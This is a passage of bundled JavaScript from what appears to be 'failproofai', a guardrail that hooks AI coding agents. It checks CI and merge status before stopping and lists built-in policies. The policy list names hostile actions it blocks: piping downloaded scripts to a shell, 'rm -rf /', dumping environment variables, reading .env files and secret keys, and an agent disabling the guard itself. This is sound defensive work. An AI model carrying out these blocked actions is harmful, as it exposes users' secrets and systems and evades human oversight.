5000 }).trim(); + if (ahead) { + execFileSync("git", ["merge-tree", "--write-tree", "--name-only", `origin/${baseBranch}`, "HEAD"], { cwd, encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], timeout: 1e4 }); + } + } catch (err) { + const e = err; + if (e.status === 1) { + const out = (typeof e.stdout === "string" ? e.stdout : e.stdout?.toString("utf8") ?? "").trim(); + const lines = out.split(` +`); + const files = []; + for (let i = 1;i < lines.length; i++) { + const line = lines[i]; + if (line === "") + break; + files.push(line); + } + const fileList = files.length ? files.join(", ") : "one or more files"; + return deny(`Branch "${branch}" has merge conflicts with ${baseBranch} in: ${fileList}. ` + `Rebase or merge origin/${baseBranch} now and resolve the conflicts.`); + } + } + if (pr.mergeable === "CONFLICTING") { + return deny(`PR #${pr.number} has merge conflicts per GitHub (${pr.url}). ` + `Rebase or merge origin/${baseBranch} now and resolve the conflicts.`); + } + if (pr.mergeable === "UNKNOWN") { + return deny(`GitHub is still computing mergeability for PR #${pr.number} (${pr.url}). ` + `Wait ~10 seconds, then re-check with \`gh pr view --json mergeable\` before attempting to stop again.`); + } + return allow(`PR #${pr.number} merges cleanly per GitHub.`); + } + function requireCiGreenBeforeStop(ctx) { + if (isPlanMode(ctx)) + return allow("Plan mode — no changes made, skipping CI check."); + const cwd = ctx.session?.cwd; + if (!cwd) + return allow("No working directory available, skipping CI check."); + try { + try { + execSync("gh --version", { cwd, encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], timeout: 3000 }); + } catch { + return allow("GitHub CLI (gh) not installed, skipping CI check."); + } + const branch = getCurrentBranch(cwd); + if (!branch || branch === "HEAD") + return allow("Detached HEAD, skipping CI check."); + const sha = getHeadSha(cwd); + let workflowRuns = []; + try { + const runsJson = execFileSync("gh", ["run", "list", "--branch", branch, "--limit", "20", "--json", "status,conclusion,name,headSha"], { cwd, encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], timeout: 15000 }).trim(); + if (runsJson && runsJson !== "[]") { + const allWorkflowRuns = JSON.parse(runsJson); + const headRuns = sha ? allWorkflowRuns.filter((r) => r.headSha === sha) : allWorkflowRuns; + const seen = new Set; + workflowRuns = headRuns.filter((r) => { + if (seen.has(r.name)) + return false; + seen.add(r.name); + return true; + }); + } + } catch {} + let thirdPartyChecks = []; + let commitStatuses = []; + if (sha) { + thirdPartyChecks = getThirdPartyCheckRuns(cwd, sha); + commitStatuses = getCommitStatuses(cwd, sha); + } + const allChecks = [...workflowRuns, ...thirdPartyChecks, ...commitStatuses]; + if (allChecks.length === 0) + return allow(`No CI runs found for branch "${branch}".`); + const failing = allChecks.filter((r) => r.status === "completed" && r.conclusion !== "success" && r.conclusion !== "skipped" && r.conclusion !== "cancelled" && r.conclusion !== "neutral"); + if (failing.length > 0) { + const names = failing.map((r) => `"${r.name}"`).join(", "); + return deny(`CI checks are failing on branch "${branch}": ${names}. Fix the failing checks now.`); + } + const pending = allChecks.filter((r) => r.status === "in_progress" || r.status === "queued" || r.status === "waiting"); + if (pending.length > 0) { + const names = pending.map((r) => `"${r.name}"`).join(", "); + return deny(`CI checks are still running on branch "${branch}": ${names}. Wait for all checks to complete, then verify they pass.`); + } + return allow(`All CI checks passed on branch "${branch}".`); + } catch { + return allow("Could not check CI status, skipping."); + } + } + + // src/hooks/builtin-policies.ts + setPolicyWarnSink(hookLogWarn); + setHostContextFallback({ + home: () => homedir(), + projectDir: () => process.env.CLAUDE_PROJECT_DIR + }); + var BUILTIN_POLICIES = [ + { + name: "sanitize-jwt", + description: "Stop Claude from reading JWTs in tool responses", + displayTitle: "Redacted JWT tokens from tool output", + impact: "Stops the agent from echoing auth tokens it saw in command output.", + fn: sanitizeJwt, + match: { events: ["PostToolUse"] }, + defaultEnabled: true, + category: "Sanitize" + }, + { + name: "sanitize-api-keys", + description: "Stop Claude from reading API keys (OpenAI, Anthropic, GitHub, AWS, Stripe, Google) in tool responses", + displayTitle: "Redacted API keys from tool output", + impact: "Catches OpenAI / Anthropic / GitHub / AWS / Stripe / Google keys before the model sees them.", + fn: sanitizeApiKeys, + match: { events: ["PostToolUse"] }, + defaultEnabled: true, + category: "Sanitize", + params: { + additionalPatterns: { + type: "pattern[]", + description: "Additional API key patterns to scrub, each with { regex, label }", + default: [] + } + } + }, + { + name: "sanitize-connection-strings", + description: "Stop Claude from reading database connection strings with embedded credentials in tool responses", + displayTitle: "Redacted database connection strings from tool output", + impact: "Strips embedded DB credentials before they reach the model context.", + fn: sanitizeConnectionStrings, + match: { events: ["PostToolUse"] }, + defaultEnabled: true, + category: "Sanitize" + }, + { + name: "sanitize-private-key-content", + description: "Stop Claude from reading PEM private key content in tool responses", + displayTitle: "Redacted PEM private keys from tool output", + impact: "Prevents private key bodies from being echoed into chat context.", + fn: sanitizePrivateKeyContent, + match: { events: ["PostToolUse"] }, + defaultEnabled: true, + category: "Sanitize" + }, + { + name: "sanitize-bearer-tokens", + displayTitle: "Redacted bearer tokens from tool output", + impact: "Strips Authorization: Bearer values before they hit the model.", + description: "Stop Claude from reading Authorization Bearer tokens in tool responses", + fn: sanitizeBearerTokens, + match: { events: ["PostToolUse"] }, + defaultEnabled: true, + category: "Sanitize" + }, + { + name: "protect-env-vars", + displayTitle: "Tried to dump environment variables to chat", + impact: "Env vars often contain secrets; blocking `env` / `printenv` keeps them out of the model context.", + description: "Prevent commands that read environment variables", + fn: protectEnvVars, + match: { events: ["PreToolUse"], toolNames: ["Bash"] }, + defaultEnabled: true, + category: "Environment" + }, + { + name: "block-env-files", + displayTitle: "Tried to read or write a .env file", + impact: "`.env` files routinely contain API keys and DB credentials.", + description: "Block reading/writing .env files", + fn: blockEnvFiles, + match: { events: ["PreToolUse"] }, + defaultEnabled: true, + category: "Environment" + }, + { + name: "block-read-outside-cwd", + displayTitle: "Tried to read files outside your project directory", + impact: "Stops the agent from peeking at neighboring repos or your home directory.", + description: "Block file reads outside the session working directory", + fn: blockReadOutsideCwd, + match: { events: ["PreToolUse"], toolNames: ["Read", "Glob", "Grep", "Bash"] }, + defaultEnabled: false, + category: "Environment", + params: { + allowPaths: { + type: "string[]", + description: "Absolute paths outside cwd that are allowed to be read", + default: [] + } + } + }, + { + name: "block-sudo", + displayTitle: "Tried to run a command with sudo", + impact: "Sudo gives the agent root — blocked unless explicitly allow-listed.", + description: "Block sudo commands", + fn: blockSudo, + match: { events: ["PreToolUse", "PermissionRequest"], toolNames: ["Bash"] }, + defaultEnabled: true, + category: "Dangerous Commands", + params: { + allowPatterns: { + type: "string[]", + description: "Sudo command patterns to allow, matched token-by-token (e.g. 'sudo systemctl status')", + default: [] + } + } + }, + { + name: "block-curl-pipe-sh", + displayTitle: "Tried to pipe a downloaded script straight to a shell", + impact: "`curl ... | sh` runs unverified remote code on your machine.", + description: "Block piping downloads to shell", + fn: blockCurlPipeSh, + match: { events: ["PreToolUse"], toolNames: ["Bash"] }, + defaultEnabled: true, + category: "Dangerous Commands" + }, + { + name: "block-rm-rf", + displayTitle: "Tried to recursively delete a system path", + impact: "Catches catastrophic `rm -rf /` and Windows equivalents.", + description: "Prevent catastrophic deletions", + fn: blockRmRf, + match: { events: ["PreToolUse"], toolNames: ["Bash"] }, + defaultEnabled: false, + category: "Dangerous Commands", + params: { + allowPaths: { + type: "string[]", + description: "Paths that are allowed to be recursively deleted", + default: [] + } + } + }, + { + name: "block-failproofai-commands", + displayTitle: "Tried to disable or modify failproofai itself", + impact: "Prevents the agent from turning off the policies that protect you.", + description: "Block failproofai CLI commands and uninstallation", + fn: blockFailproofaiCommands, + match: { events: ["PreToolUse"], toolNames: ["Bash"] }, + defaultEnabled: true, + category: "Dangerous Commands" + }, + { + name: "block-kubectl", + displayTitle: "Tried to run a Kubernetes command", + impact: "kubectl can change live cluster state — gated unless allow-listed.", + description: "Block kubectl commands (Kubernetes cluster mutations)", + fn: blockKubectl, + match: { events: ["PreToolUse"], toolNames: ["Bash"] }, + defaultEnabled: false, + category: "Infra Commands", + params: { + allowPatterns: { + type: "string[]", + description: "kubectl command patterns to allow, matched token-by-token (e.g. 'kubectl get *', 'kubectl describe *')", + default: [] + } + } + }, + { + name: "block-terraform", + displayTitle: "Tried to run a Terraform/OpenTofu command", + impact: "Terraform mutates real infrastructure — gated unless allow-listed.", + description: "Block terraform and tofu (OpenTofu) commands", + fn: blockTerraform, + match: { events: ["PreToolUse"], toolNames: ["Bash"] }, + defaultEnabled: false, + category: "Infra Commands", + params: { + allowPatterns: { + type: "string[]", + description: "terraform/tofu command patterns to allow (e.g. 'terraform plan', 'terraform validate')", + default: [] + } + } + }, + { + name: "block-aws-cli", + displayTitle: "Tried to run an AWS CLI command", + impact: "AWS CLI can spend money or break prod — gated.", + description: "Block aws CLI commands", + fn: blockAwsCli, + match: { events: ["PreToolUse"], toolNames: ["Bash"] }, + defaultEnabled: false, + category: "Infra Commands", + params: { + allowPatterns: { + type: "string[]", + description: "aws CLI command patterns to allow (e.g. 'aws s3 ls *', 'aws sts get-caller-identity')", + default: [] + } + } + }, + { + name: "block-gcloud", + displayTitle: "Tried to run a Google Cloud command", + impact: "gcloud can spend money or break prod — gated.", + description: "Block gcloud (Google Cloud) CLI commands", + fn: blockGcloud, + match: { events: ["PreToolUse"], toolNames: ["Bash"] }, + defaultEnabled: false, + category: "Infra Commands", + params: { + allowPatterns: { + type: "string[]", + description: "gcloud command patterns to allow (e.g. 'gcloud auth list', 'gcloud config list')", + default: [] + } + } + }, + { + name: "block-az-cli", + displayTitle: "Tried to run an Azure CLI command", + impact: "az can spend money or break prod — gated.", + description: "Block az (Azure) CLI commands", + fn: blockAzCli, + match: { events: ["PreToolUse"], toolNames: ["Bash"] }, + defaultEnabled: false, + category: "Infra Commands", + params: { + allowPatterns: { + type: "string[]", + description: "az CLI command patterns to allow (e.g. 'az account show', 'az group list')", + default: [] + } + } + }, + { + name: "block-helm", + displayTitle: "Tried to run a Helm command", + impact: "Helm releases mutate cluster state — gated.", + description: "Block helm commands", + fn: blockHelm, + match: { events: ["PreToolUse"], toolNames: ["Bash"] }, + defaultEnabled: false, + category: "Infra Commands", + params: { + allowPatterns: { + type: "string[]", + description: "helm command patterns to allow (e.g. 'helm list', 'helm status *')", + default: [] + } + } + }, + { + name: "block-gh-pipeline", + displayTitle: "Tried to run a privileged GitHub CLI pipeline command", + impact: "Catches `gh workflow run`, `gh pr merge`, `gh secret set`, etc.", + description: "Block gh CLI pipeline-trigger subcommands (workflow run, run rerun/cancel, pr merge, release create/delete, cache delete, secret set/delete)", + fn: blockGhPipeline, + match: { events: ["PreToolUse"], toolNames: ["Bash"] }, + defaultEnabled: false, + category: "Infra Commands", + params: { + allowPatterns: { + type: "string[]", + description: "gh pipeline command patterns to allow (e.g. specific scripted invocations); read-only gh subcommands like 'gh pr view' and 'gh run list' are not matched by this policy", + default: [] + } + } + }, + { + name: "block-secrets-write", + displayTitle: "Tried to write a secret-key file", + impact: "Stops the agent from creating `.pem`, `id_rsa`, `credentials.json`, etc.", + description: "Block writing secret key files", + fn: blockSecretsWrite, + match: { events: ["PreToolUse"], toolNames: ["Write"] }, + defaultEnabled: false, + category: "Dangerous Commands", + params: { + additionalPatterns: { + type: "string[]", + description: "Additional filename patterns (substrings) to block", + default: [] + } + } + }, + { + name: "block-push-master", + displayTitle: "Tried to push directly to main/master", + impact: "Direct pushes to a protected branch bypass review.", + description: "Block pushing to main/master", + fn: blockPushMaster, + match: { events: ["PreToolUse"], toolNames: ["Bash"] }, + defaultEnabled: true, + category: "Git", + params: { + protectedBranches: { + type: "string[]", + description: "Branch names to protect from direct pushes", + default: ["main", "master"] + } + } + }, + { + name: "block-force-push", + displayTitle: "Tried to force-push", + impact: "Force-pushes rewrite history and can clobber teammates' work.", + description: "Prevent force-pushing to any branch", + fn: blockForcePush, + match: { events: ["PreToolUse"], toolNames: ["Bash"] }, + defaultEnabled: false, + category: "Git" + }, + { + name: "block-work-on-main", + displayTitle: "Tried to commit or merge on main/master", + impact: "Work should land via PR — direct commits skip review.", + description: "Block git commits and merges on main/master branch", + fn: blockWorkOnMain, + match: { events: ["PreToolUse"], toolNames: ["Bash"] }, + defaultEnabled: false, + category: "Git", + params: { + protectedBranches: { + type: "string[]", + description: "Branch names where commits/merges are blocked", + default: ["main", "master"] + } + } + }, + { + name: "warn-git-amend", + displayTitle: "Used git commit --amend", + impact: "Amending after a push rewrites history that others may have pulled.", + description: "Warns before amending git commits, which rewrites history", + fn: warnGitAmend, + match: { events: ["PreToolUse"], toolNames: ["Bash"] }, + defaultEnabled: false, + category: "Git" + }, + { + name: "warn-git-stash-drop", + displayTitle: "Tried to drop or clear git stash", + impact: "Stash deletions are permanent and silent.", + description: "Warns before permanently deleting stashed changes", + fn: warnGitStashDrop, + match: { events: ["PreToolUse"], toolNames: ["Bash"] }, + defaultEnabled: false, + category: "Git" + }, + { + name: "warn-all-files-staged", + displayTitle: "Staged all files with git add -A / .", + impact: "Wide stages routinely catch generated files or secrets you didn't intend to commit.", + description: "Warns before staging all working tree files with git add -A / . / --all", + fn: warnAllFilesStaged, + match: { events: ["PreToolUse"], toolNames: ["Bash"] }, + defaultEnabled: false, + category: "Git" + }, + { + name: "warn-destructive-sql", + displayTitle: "Ran destructive SQL (DROP / TRUNCATE / DELETE without WHERE)", + impact: "Easy way to wipe a table by accident.", + description: "Warn before executing destructive SQL (DROP/TRUNCATE/DELETE without WHERE) via database clients", + fn: warnDestructiveSql, + match: { events: ["PreToolUse"], toolNames: ["Bash"] }, + defaultEnabled: false, + category: "Database" + }, + { + name: "warn-schema-alteration", + displayTitle: "Altered a database schema column", + impact: "ALTER TABLE operations can lock tables and break readers.", + description: "Warns before SQL schema changes (ALTER TABLE with column or rename operations)", + fn: warnSchemaAlteration, + match: { events: ["PreToolUse"], toolNames: ["Bash"] }, + defaultEnabled: false, + category: "Database" + }, + { + name: "warn-package-publish", + displayTitle: "Tried to publish a package", + impact: "Publishes are irreversible — `npm publish` / `cargo publish` shouldn't happen without intent.", + description: "Warn before publishing packages to public registries (npm, PyPI, crates.io, RubyGems, etc.)", + fn: warnPackagePublish, + match: { events: ["PreToolUse"], toolNames: ["Bash"] }, + defaultEnabled: false, + category: "Packages & System" + }, + { + name: "warn-global-package-install", + displayTitle: "Installed a package globally", + impact: "`npm i -g`, `cargo install`, `pip --user` pollute your machine outside the project.", + description: "Warns before installing packages globally (npm -g, cargo install, etc.)", + fn: warnGlobalPackageInstall, + match: { events: ["PreToolUse"], toolNames: ["Bash"] }, + defaultEnabled: false, + category: "Packages & System" + }, + { + name: "prefer-package-manager", + displayTitle: "Used a non-preferred package manager", + impact: "Mixing package managers creates lockfile churn for your team.", + description: "Blocks non-preferred package managers and tells Claude to use an allowed one (e.g., uv instead of pip)", + fn: preferPackageManager, + match: { events: ["PreToolUse"], toolNames: ["Bash"] }, + defaultEnabled: false, + category: "Packages & System", + params: { + allowed: { + type: "string[]", + description: "Allowed package manager names (e.g. ['uv', 'bun']). Any detected manager not in this list is blocked.", + default: [] + }, + blocked: { + type: "string[]", + description: "Additional manager names to block beyond the built-in list (e.g. ['pdm', 'pipx']).", + default: [] + } + } + }, + { + name: "warn-large-file-write", + displayTitle: "Wrote a file larger than the configured threshold", + impact: "Catches accidentally large file writes (logs, binaries, model dumps).", + description: "Warn before writing files larger than 1MB (configurable via thresholdKb param)", + fn: warnLargeFileWrite, + match: { events: ["PreToolUse"], toolNames: ["Write"] }, + defaultEnabled: false, + category: "Packages & System", + params: { + thresholdKb: { + type: "number", + description: "File size threshold in KB above which a warning is issued", + default: 1024 + } + } + }, + { + name: "warn-background-process", + displayTitle: "Started a long-lived background process", + impact: "Catches `nohup` / `&` / `screen` / `tmux` / `disown` patterns that the agent often forgets to clean up.", + description: "Warns before starting detached or background processes", + fn: warnBackgroundProcess, + match: { events: ["PreToolUse"], toolNames: ["Bash"] }, + defaultEnabled: false, + category: "Packages & System" + }, + { + name: "warn-repeated-tool-calls", + displayTitle: "Called the same tool 3+ times with identical arguments", + impact: "Usually a sign of a stuck loop burning tokens.", + description: "Warn when the same tool is called 3+ times with identical parameters", + fn: warnRepeatedToolCalls, + match: { events: ["PreToolUse"] }, + defaultEnabled: false, + category: "AI Behavior" + }, + { + name: "require-commit-before-stop", + displayTitle: "Stopped with uncommitted changes", + impact: "Work not in a commit is invisible to teammates and easy to lose.", + description: "Require all changes to be committed before Claude stops", + fn: requireCommitBeforeStop, + match: { events: ["Stop"] }, + defaultEnabled: false, + category: "Workflow" + }, + { + name: "require-push-before-stop", + displayTitle: "Stopped with unpushed commits", + impact: "Local-only commits won't trigger CI or be reviewable.", + description: "Require all commits to be pushed to remote before Claude stops", + fn: requirePushBeforeStop, + match: { events: ["Stop"] }, + defaultEnabled: false, + category: "Workflow", + params: { + remote: { + type: "string", + description: "Remote name to push to (default: origin)", + default: "origin" + }, + baseBranch: { + type: "string", + description: "Base branch to compare against (default: main)", + default: "main" + } + } + }, + { + name: "require-pr-before-stop", + displayTitle: "Stopped without a PR for the branch", + impact: "Branches without PRs don't get reviewed.", + description: "Require a pull request to exist for the current branch before Claude stops", + fn: requirePrBeforeStop, + match: { events: ["Stop"] }, + defaultEnabled: false, + category: "Workflow", + params: { + baseBranch: { + type: "string", + description: "Base branch to compare against (default: main)", + default: "main" + } + } + }, + { + name: "require-no-conflicts-before-stop", + displayTitle: "Stopped with a branch that conflicts with main", + impact: "Conflicting branches can't merge — surface them early.", + description: "Require the current branch to merge cleanly with the base branch before Claude stops", + fn: requireNoConflictsBeforeStop, + match: { events: ["Stop"] }, + defaultEnabled: false, + category: "Workflow", + params: { + baseBranch: { + type: "string", + description: "Base branch to check for conflicts against (default: main)", + default: "main" + } + } + }, + { + name: "require-ci-green-before-stop", + displayTitle: "Stopped with failing CI", + impact: "Failing CI blocks deploy.", + description: "Require CI checks to pass on the current HEAD commit before Claude stops (ignores stale runs on prior commits)", + fn: requireCiGreenBeforeStop, + match: { events: ["Stop"] }, + defaultEnabled: false, + category: "Workflow" + } + ]; + function registerBuiltinPolicies(enabledNames) { + const enabledSet = new Set(enabledNames.map(normalizePolicyName)); + for (const policy of BUILTIN_POLICIES) { + if (enabledSet.has(normalizePolicyName(policy.name))) { + registerPolicy(policy.name, policy.description, policy.fn, policy.match); + } + } + } + + // src/hooks/policy-evaluator.ts + function appendHint(baseReason, hint) { + const base = baseReason.trim(); + const normalizedHint = typeof hint === "string" ? hint.trim() : ""; + if (!normalizedHint) + return base; + if (!base) + return normalizedHint; + return `${base}. ${normalizedHint}`; + } + var POLICY_PARAMS_MAP = new Map(BUILTIN_POLICIES.filter((p) => p.params).map((p) => [normalizePolicyName(p.name), p.params])); + function getConfigParamsFor(config, canonicalName) { + if (!config?.policyParams) + return; + const canonicalParams = config.policyParams[canonicalName]; + if (canonicalParams) + return canonicalParams; + const defaultPrefix = `${DEFAULT_POLICY_NAMESPACE}/`; + if (!canonicalName.startsWith(defaultPrefix)) + return; + return config.policyParams[canonicalName.slice(defaultPrefix.length)]; + } + async function evaluateVerdicts(eventType, payload, session, config) { + const toolName = payload.tool_name; + const toolInput = payload.tool_input; + const policies = getPoliciesForEvent(eventType, toolName); + hookLogInfo(`evaluating ${policies.length} policies for ${eventType}`); + if (policies.length === 0) { + return { deny: null, instructEntries: [], allowEntries: [], matchedCount: 0, toolName }; + } + const baseCtx = { + eventType, + payload, + toolName, + toolInput, + session, + cli: session?.cli + }; + const instructEntries = []; + const allowEntries = []; + for (const policy of policies) { + const schema = POLICY_PARAMS_MAP.get(policy.name); + let ctx; + if (schema) { + const userParams = getConfigParamsFor(config, policy.name) ?? {}; + const resolvedParams = {}; + for (const [key, spec] of Object.entries(schema)) { + resolvedParams[key] = key in userParams ? userParams[key] : spec.default; + } + ctx = { ...baseCtx, params: resolvedParams }; + } else { + ctx = { ...baseCtx, params: {} }; + } + let result; + try { + result = await policy.fn(ctx); + } catch (err) { + const msg = err instanceof Error ? err.message : String(err); + hookLogWarn(`policy "${policy.name}" threw: ${msg}`); + const isCustom = policy.name.startsWith("custom/") || policy.name.startsWith(".failproofai-"); + if (!isCustom) { + trackHookEvent(getInstanceId(), "policy_evaluation_error", { + policy_name: policy.name, + event_type: eventType, + cli: session?.cli ?? null, + error_type: err instanceof Error ? err.name : "unknown" + }); + } + continue; + } + if (result.decision === "deny") { + const reason = appendHint(result.reason ?? `Blocked by policy: ${policy.name}`, getConfigParamsFor(config, policy.name)?.hint); + hookLogInfo(`deny by "${policy.name}": ${reason}`); + return { + deny: { policyName: policy.name, reason }, + instructEntries, + allowEntries, + matchedCount: policies.length, + toolName + }; + } + if (result.decision === "instruct") { + const reason = appendHint(result.reason ?? `Instruction from policy: ${policy.name}`, getConfigParamsFor(config, policy.name)?.hint); + instructEntries.push({ policyName: policy.name, reason }); + hookLogInfo(`instruct by "${policy.name}": ${reason}`); + } + if (result.decision === "allow" && result.reason) { + allowEntries.push({ policyName: policy.name, reason: result.reason }); + } + } + return { deny: null, instructEntries, allowEntries, matchedCount: policies.length, toolName }; + } + function encodeResponse(verdicts, eventType, session) { + const { instructEntries, allowEntries } = verdicts; + if (verdicts.matchedCount === 0) { + return { exitCode: 0, stdout: "", stderr: "", policyName: null, reason: null, decision: "allow" }; + } + if (verdicts.deny) { + const { policyName, reason } = verdicts.deny; + let displayTool; + if (verdicts.toolName) { + displayTool = verdicts.toolName; + } else if (eventType === "UserPromptSubmit") { + displayTool = "prompt"; + } else if (eventType === "SessionStart") { + displayTool = "session start"; + } else if (eventType === "SessionEnd") { + displayTool = "session end"; + } else if (eventType === "Stop") { + displayTool = "stop"; + } else { + displayTool = "operation"; + } + const blockedMessage = `Blocked ${displayTool} by failproofai because: ${reason}, as per the policy configured by the user`; + if (session?.cli === "cursor") { + if (eventType === "Stop" || eventType === "SubagentStop") { + const reasonText = `MANDATORY ACTION REQUIRED from failproofai (policy: ${policyName}): ${reason} + +You MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.`; + return { + exitCode: 0, + stdout: JSON.stringify({ followup_message: reasonText }), + stderr: "", + policyName, + reason, + decision: "deny" + }; + } + if (eventType === "UserPromptSubmit") { + return { + exitCode: 0, + stdout: JSON.stringify({ continue: false, user_message: blockedMessage }), + stderr: "", + policyName, + reason, + decision: "deny" + }; + } + const response = { + permission: "deny", + user_message: blockedMessage, + agent_message: blockedMessage + }; + return { + exitCode: 0, + stdout: JSON.stringify(response), + stderr: "", + policyName, + reason, + decision: "deny" + }; + } + if (session?.cli === "pi") { + if (eventType === "Stop") { + const reasonText = `MANDATORY ACTION REQUIRED from failproofai (policy: ${policyName}): ${reason} + +You MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.`; + return { + exitCode: 0, + stdout: JSON.stringify({ permission: "deny", reason: reasonText }), + stderr: "", + policyName, + reason, + decision: "deny" + }; + } + const response = { + permission: "deny", + reason: blockedMessage + }; + return { + exitCode: 0, + stdout: JSON.stringify(response), + stderr: "", + policyName, + reason, + decision: "deny" + }; + } + if (session?.cli === "hermes") { + return { + exitCode: 0, + stdout: JSON.stringify({ decision: "block", reason: blockedMessage }), + stderr: "", + policyName, + reason, + decision: "deny" + }; + } + if (session?.cli === "openclaw") { + if (eventType === "Stop") { + const reasonText = `MANDATORY ACTION REQUIRED from failproofai (policy: ${policyName}): ${reason} + +You MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.`; + return { + exitCode: 0, + stdout: JSON.stringify({ permission: "deny", reason: reasonText }), + stderr: "", + policyName, + reason, + decision: "deny" + }; + } + return { + exitCode: 0, + stdout: JSON.stringify({ permission: "deny", reason: blockedMessage }), + stderr: "", + policyName, + reason, + decision: "deny" + }; + } + if (session?.cli === "opencode") { + if (eventType === "Stop" || eventType === "SubagentStop") { + const reasonText = `MANDATORY ACTION REQUIRED from failproofai (policy: ${policyName}): ${reason} + +You MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.`; + return { + exitCode: 0, + stdout: JSON.stringify({ hookSpecificOutput: { additionalContext: reasonText } }), + stderr: "", + policyName, + reason, + decision: "deny" + }; + } + } + if (session?.cli === "factory") { + if (eventType === "Stop") { + const reasonText = `MANDATORY ACTION REQUIRED from failproofai (policy: ${policyName}): ${reason} + +You MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.`; + return { + exitCode: 0, + stdout: JSON.stringify({ decision: "block", reason: reasonText }), + stderr: "", + policyName, + reason, + decision: "deny" + }; + } + return { + exitCode: 2, + stdout: "", + stderr: blockedMessage + ` +`, + policyName, + reason, + decision: "deny" + }; + } + if (session?.cli === "devin") { + const reasonText = eventType === "Stop" ? `MANDATORY ACTION REQUIRED from failproofai (policy: ${policyName}): ${reason} + +You MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.` : blockedMessage; + return { + exitCode: 0, + stdout: JSON.stringify({ decision: "block", reason: reasonText }), + stderr: "", + policyName, + reason, + decision: "deny" + }; + } + if (session?.cli === "antigravity") { + if (eventType === "Stop") { + const reasonText = `MANDATORY ACTION REQUIRED from failproofai (policy: ${policyName}): ${reason} + +You MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.`; + return { + exitCode: 0, + stdout: JSON.stringify({ decision: "continue", reason: reasonText }), + stderr: "", + policyName, + reason, + decision: "deny" + }; + } + return { + exitCode: 0, + stdout: JSON.stringify({ decision: "deny", reason: blockedMessage }), + stderr: "", + policyName, + reason, + decision: "deny" + }; + } + if (session?.cli === "goose") { + return { + exitCode: 0, + stdout: JSON.stringify({ decision: "block", reason: blockedMessage }), + stderr: "", + policyName, + reason, + decision: "deny" + }; + } + if (eventType === "PreToolUse") { + const response = { + hookSpecificOutput: { + hookEventName: eventType, + permissionDecision: "deny", + permissionDecisionReason: blockedMessage + } + }; + return { + exitCode: 0, + stdout: JSON.stringify(response), + stderr: "", + policyName, + reason, + decision: "deny" + }; + } + if (session?.cli === "copilot") { + if (eventType === "UserPromptSubmit") { + return { + exitCode: 0, + stdout: JSON.stringify({ decision: "block", reason: blockedMessage }), + stderr: "", + policyName, + reason, + decision: "deny" + }; + } + if (eventType === "PermissionRequest") { + return { + exitCode: 0, + stdout: JSON.stringify({ behavior: "deny", message: blockedMessage }), + stderr: "", + policyName, + reason, + decision: "deny" + }; + } + } + if (eventType === "PermissionRequest") { + const response = { + hookSpecificOutput: { + hookEventName: eventType, + decision: { + behavior: "deny", + message: `Blocked ${displayTool} by failproofai because: ${reason}, as per the policy configured by the user` + } + } + }; + return { + exitCode: 0, + stdout: JSON.stringify(response), + stderr: "", + policyName, + reason, + decision: "deny" + }; + } + if (eventType === "PostToolUse") { + const response = { + hookSpecificOutput: { + hookEventName: eventType, + additionalContext: `Blocked ${displayTool} by failproofai because: ${reason}, as per the policy configured by the user` + } + }; + return { + exitCode: 0, + stdout: JSON.stringify(response), + stderr: "", + policyName, + reason, + decision: "deny" + }; + } + if (eventType === "Stop" || eventType === "SubagentStop") { + const reasonText = `MANDATORY ACTION REQUIRED from failproofai (policy: ${policyName}): ${reason} + +You MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.`; + if (session?.cli === "copilot") { + return { + exitCode: 0, + stdout: JSON.stringify({ decision: "block", reason: reasonText }), + stderr: "", + policyName, + reason, + decision: "deny" + }; + } + return { + exitCode: 2, + stdout: "", + stderr: reasonText, + policyName, + reason, + decision: "deny" + }; + } + return { + exitCode: 2, + stdout: "", + stderr: reason, + policyName, + reason, + decision: "deny" + }; + } + if (instructEntries.length > 0) { + const combined = instructEntries.map((e) => e.reason).join(` +`); + const policyNames = instructEntries.map((e) => e.policyName); + if (session?.cli === "cursor") { + if (eventType === "Stop" || eventType === "SubagentStop") { + const response3 = { + followup_message: `Instruction from failproofai: ${combined}` + }; + return { + exitCode: 0, + stdout: JSON.stringify(response3), + stderr: "", + policyName: policyNames[0], + policyNames, + reason: combined, + decision: "instruct" + }; + } + const response2 = { + permission: "allow", + additional_context: `Instruction from failproofai: ${combined}` + }; + return { + exitCode: 0, + stdout: JSON.stringify(response2), + stderr: "", + policyName: policyNames[0], + policyNames, + reason: combined, + decision: "instruct" + }; + } + if (session?.cli === "pi") { + if (eventType === "Stop") { + const policyAttribution = policyNames.length === 1 ? `policy: ${policyNames[0]}` : `policies: ${policyNames.join(", ")}`; + const reasonText = `MANDATORY ACTION REQUIRED from failproofai (${policyAttribution}): ${combined} + +You MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.`; + return { + exitCode: 0, + stdout: JSON.stringify({ permission: "deny", reason: reasonText }), + stderr: "", + policyName: policyNames[0], + policyNames, + reason: combined, + decision: "instruct" + }; + } + const response2 = { + permission: "allow", + reason: `Instruction from failproofai: ${combined}` + }; + return { + exitCode: 0, + stdout: JSON.stringify(response2), + stderr: "", + policyName: policyNames[0], + policyNames, + reason: combined, + decision: "instruct" + }; + } + if (session?.cli === "hermes") { + const stderrMsg = instructEntries.map((e) => `[failproofai] ${e.policyName}: ${e.reason}`).join(` +`); + return { + exitCode: 0, + stdout: JSON.stringify({ + decision: "allow", + reason: `Instruction from failproofai: ${combined}` + }), + stderr: stderrMsg + ` +`, + policyName: policyNames[0], + policyNames, + reason: combined, + decision: "instruct" + }; + } + if (session?.cli === "openclaw") { + if (eventType === "Stop") { + const policyAttribution = policyNames.length === 1 ? `policy: ${policyNames[0]}` : `policies: ${policyNames.join(", ")}`; + const reasonText = `MANDATORY ACTION REQUIRED from failproofai (${policyAttribution}): ${combined} + +You MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.`; + return { + exitCode: 